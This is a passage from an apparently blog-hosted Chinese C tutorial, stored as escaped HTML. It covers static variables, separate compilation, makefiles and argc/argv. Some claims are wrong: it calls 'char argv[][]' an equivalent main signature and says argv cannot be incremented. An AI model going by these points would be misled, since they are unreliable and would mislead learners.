说明符\u003c/h3\u003e\u003cp\u003e正常情况下,当前文件内部的全局变量,可以被其他文件使用。有时候,不希望发生这种情况,而是希望某个变量只局限在当前文件内部使用,不要被其他文件引用。\u003c/p\u003e\u003cp\u003e这时可以在声明变量的时候,使用\u003ccode\u003estatic\u003c/code\u003e关键字,使得该变量变成当前文件的私有变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003efoo\u003c/code\u003e只能在当前文件里面使用,其他文件不能引用。\u003c/p\u003e\u003ch3 id=\"编译策略\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%BC%96%E8%AF%91%E7%AD%96%E7%95%A5\" class=\"headerlink\" title=\"编译策略\"\u003e\u003c/a\u003e编译策略\u003c/h3\u003e\u003cp\u003e多个源码文件的项目,编译时需要所有文件一起编译。哪怕只是修改了一行,也需要从头编译,非常耗费时间。\u003c/p\u003e\u003cp\u003e为了节省时间,通常的做法是将编译拆分成两个步骤。第一步,使用 GCC 的\u003ccode\u003e-c\u003c/code\u003e参数,将每个源码文件单独编译为对象文件(object file)。第二步,将所有对象文件链接在一起,合并生成一个二进制可执行文件。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -c foo.c \u003cspan class=\"comment\"\u003e## 生成 foo.o\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -c bar.c \u003cspan class=\"comment\"\u003e## 生成 bar.o\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## 更省事的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -c *.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令为源码文件\u003ccode\u003efoo.c\u003c/code\u003e和\u003ccode\u003ebar.c\u003c/code\u003e,分别生成对象文件\u003ccode\u003efoo.o\u003c/code\u003e和\u003ccode\u003ebar.o\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e对象文件不是可执行文件,只是编译过程中的一个阶段性产物,文件名与源码文件相同,但是后缀名变成了\u003ccode\u003e.o\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e得到所有的对象文件以后,再次使用\u003ccode\u003egcc\u003c/code\u003e命令,将它们通过链接,合并生成一个可执行文件。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo foo.o bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## 更省事的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo *.o\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e以后,修改了哪一个源文件,就将这个文件重新编译成对象文件,其他文件不用重新编译,可以继续使用原来的对象文件,最后再将所有对象文件重新链接一次就可以了。由于链接的耗时大大短于编译,这样做就节省了大量时间。\u003c/p\u003e\u003ch3 id=\"make-命令\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#make-%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"make 命令\"\u003e\u003c/a\u003emake 命令\u003c/h3\u003e\u003cp\u003e大型项目的编译,如果全部手动完成,是非常麻烦的,容易出错。一般会使用专门的自动化编译工具,比如 make。\u003c/p\u003e\u003cp\u003emake 是一个命令行工具,使用时会自动在当前目录下搜索配置文件 makefile(也可以写成 Makefile)。该文件定义了所有的编译规则,每个编译规则对应一个编译产物。为了得到这个编译产物,它需要知道两件事。\u003c/p\u003e\u003cul\u003e\u003cli\u003e依赖项(生成该编译产物,需要用到哪些文件)\u003c/li\u003e\u003cli\u003e生成命令(生成该编译产物的命令)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如,对象文件\u003ccode\u003efoo.o\u003c/code\u003e是一个编译产物,它的依赖项是\u003ccode\u003efoo.c\u003c/code\u003e,生成命令是\u003ccode\u003egcc -c foo.c\u003c/code\u003e。对应的编译规则如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efoo.o: foo.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -c foo.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,编译规则由两行组成。第一行首先是编译产物,冒号后面是它的依赖项,第二行则是生成命令。\u003c/p\u003e\u003cp\u003e注意,第二行的缩进必须使用 Tab 键,如果使用空格键会报错。\u003c/p\u003e\u003cp\u003e完整的配置文件 makefile 由多个编译规则组成,可能是下面的样子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efoo: foo.o bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -o foo foo.o bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efoo.o: bar.h foo.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -c foo.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebar.o: bar.h bar.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -c bar.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面是 makefile 的一个示例文件。它包含三个编译规则,对应三个编译产物(\u003ccode\u003efoo.o\u003c/code\u003e、\u003ccode\u003ebar.o\u003c/code\u003e和\u003ccode\u003efoo\u003c/code\u003e),每个编译规则之间使用空行分隔。\u003c/p\u003e\u003cp\u003e有了 makefile,编译时,只要在 make 命令后面指定编译目标(编译产物的名字),就会自动调用对应的编译规则。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ make foo.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ make bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ make foo\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,make 命令会根据不同的命令,生成不同的编译产物。\u003c/p\u003e\u003cp\u003e如果省略了编译目标,\u003ccode\u003emake\u003c/code\u003e命令会执行第一条编译规则,构建相应的产物。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003emake\u003c/code\u003e后面没有编译目标,所以会执行 makefile 的第一条编译规则,本例是\u003ccode\u003emake foo\u003c/code\u003e。由于用户期望执行\u003ccode\u003emake\u003c/code\u003e后得到最终的可执行文件,所以建议总是把最终可执行文件的编译规则,放在 makefile 文件的第一条。makefile 本身对编译规则没有顺序要求。\u003c/p\u003e\u003cp\u003emake 命令的强大之处在于,它不是每次执行命令,都会进行编译,而是会检查是否有必要重新编译。具体方法是,通过检查每个源码文件的时间戳,确定在上次编译之后,哪些文件发生过变动。然后,重新编译那些受到影响的编译产物(即编译产物直接或间接依赖于那些发生变动的源码文件),不受影响的编译产物,就不会重新编译。\u003c/p\u003e\u003cp\u003e举例来说,上次编译之后,修改了\u003ccode\u003efoo.c\u003c/code\u003e,没有修改\u003ccode\u003ebar.c\u003c/code\u003e和\u003ccode\u003ebar.h\u003c/code\u003e。于是,重新运行\u003ccode\u003emake foo\u003c/code\u003e命令时,Make 就会发现\u003ccode\u003ebar.c\u003c/code\u003e和\u003ccode\u003ebar.h\u003c/code\u003e没有变动过,因此不用重新编译\u003ccode\u003ebar.o\u003c/code\u003e,只需要重新编译\u003ccode\u003efoo.o\u003c/code\u003e。有了新的\u003ccode\u003efoo.o\u003c/code\u003e以后,再跟\u003ccode\u003ebar.o\u003c/code\u003e一起,重新编译成新的可执行文件\u003ccode\u003efoo\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eMake 这样设计的最大好处,就是自动处理编译过程,只重新编译变动过的文件,因此大大节省了时间。\u003c/p\u003e\u003ch2 id=\"命令行环境\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"命令行环境\"\u003e\u003c/a\u003e命令行环境\u003c/h2\u003e\u003ch3 id=\"命令行参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"命令行参数\"\u003e\u003c/a\u003e命令行参数\u003c/h3\u003e\u003cp\u003eC 语言程序可以从命令行接收参数。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./foo hello world\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,程序\u003ccode\u003efoo\u003c/code\u003e接收了两个命令行参数\u003ccode\u003ehello\u003c/code\u003e和\u003ccode\u003eworld\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e程序内部怎么拿到命令行参数呢?C 语言会把命令行输入的内容,放在一个数组里面。\u003ccode\u003emain()\u003c/code\u003e函数的参数可以接收到这个数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* argv[])\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; argc; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;arg %d: %s\\n\u0026#34;\u003c/span\u003e, i, argv[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003emain()\u003c/code\u003e函数有两个参数\u003ccode\u003eargc\u003c/code\u003e(argument count)和\u003ccode\u003eargv\u003c/code\u003e(argument variable)。这两个参数的名字可以任意取,但是一般来说,约定俗成就是使用这两个词。\u003c/p\u003e\u003cp\u003e第一个参数\u003ccode\u003eargc\u003c/code\u003e是命令行参数的数量,由于程序名也被计算在内,所以严格地说\u003ccode\u003eargc\u003c/code\u003e是参数数量 + 1。\u003c/p\u003e\u003cp\u003e第二个参数\u003ccode\u003eargv\u003c/code\u003e是一个数组,保存了所有的命令行输入,它的每个成员是一个字符串指针。\u003c/p\u003e\u003cp\u003e以\u003ccode\u003e./foo hello world\u003c/code\u003e为例,\u003ccode\u003eargc\u003c/code\u003e是3,表示命令行输入有三个组成部分:\u003ccode\u003e./foo\u003c/code\u003e、\u003ccode\u003ehello\u003c/code\u003e、\u003ccode\u003eworld\u003c/code\u003e。数组\u003ccode\u003eargv\u003c/code\u003e用来获取这些输入,\u003ccode\u003eargv[0]\u003c/code\u003e是程序名\u003ccode\u003e./foo\u003c/code\u003e,\u003ccode\u003eargv[1]\u003c/code\u003e是\u003ccode\u003ehello\u003c/code\u003e,\u003ccode\u003eargv[2]\u003c/code\u003e是\u003ccode\u003eworld\u003c/code\u003e。一般来说,\u003ccode\u003eargv[1]\u003c/code\u003e到\u003ccode\u003eargv[argc - 1]\u003c/code\u003e依次是命令行的所有参数。\u003ccode\u003eargv[argc]\u003c/code\u003e则是一个空指针 NULL。\u003c/p\u003e\u003cp\u003e由于字符串指针可以看成是字符数组,所以下面三种写法是等价的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e** argv)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e argv[][])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另一方面,每个命令行参数既可以写成数组形式\u003ccode\u003eargv[i]\u003c/code\u003e,也可以写成指针形式\u003ccode\u003e*(argv + i)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e利用\u003ccode\u003eargc\u003c/code\u003e,可以限定函数只能有多少个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e** argv)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (argc != \u003cspan class=\"number\"\u003e3\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;usage: mult x y\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, atoi(argv[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) * atoi(argv[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eargc\u003c/code\u003e不等于\u003ccode\u003e3\u003c/code\u003e就会报错,这样就限定了程序必须有两个参数,才能运行。\u003c/p\u003e\u003cp\u003e另外,\u003ccode\u003eargv\u003c/code\u003e数组的最后一个成员是 NULL 指针(\u003ccode\u003eargv[argc] == NULL\u003c/code\u003e)。所以,参数的遍历也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003echar\u003c/span\u003e** p = argv; *p != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; p++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;arg: %s\\n\u0026#34;\u003c/span\u003e, *p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指针\u003ccode\u003ep\u003c/code\u003e依次移动,指向\u003ccode\u003eargv\u003c/code\u003e的每个成员,一旦移到空指针 NULL,就表示遍历结束。由于\u003ccode\u003eargv\u003c/code\u003e的地址是固定的,不能执行自增运算(\u003ccode\u003eargv++\u003c/code\u003e),所以必须通过一个中间变量\u003ccode\u003ep\u003c/code\u003e,完成遍历操作。\u003c/p\u003e\u003ch3 id=\"退出状态\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%80%80%E5%87%BA%E7%8A%B6%E6%80%81\" class=\"headerlink\" title=\"退出状态\"\u003e\u003c/a\u003e退出状态\u003c/h3\u003e\u003cp\u003eC 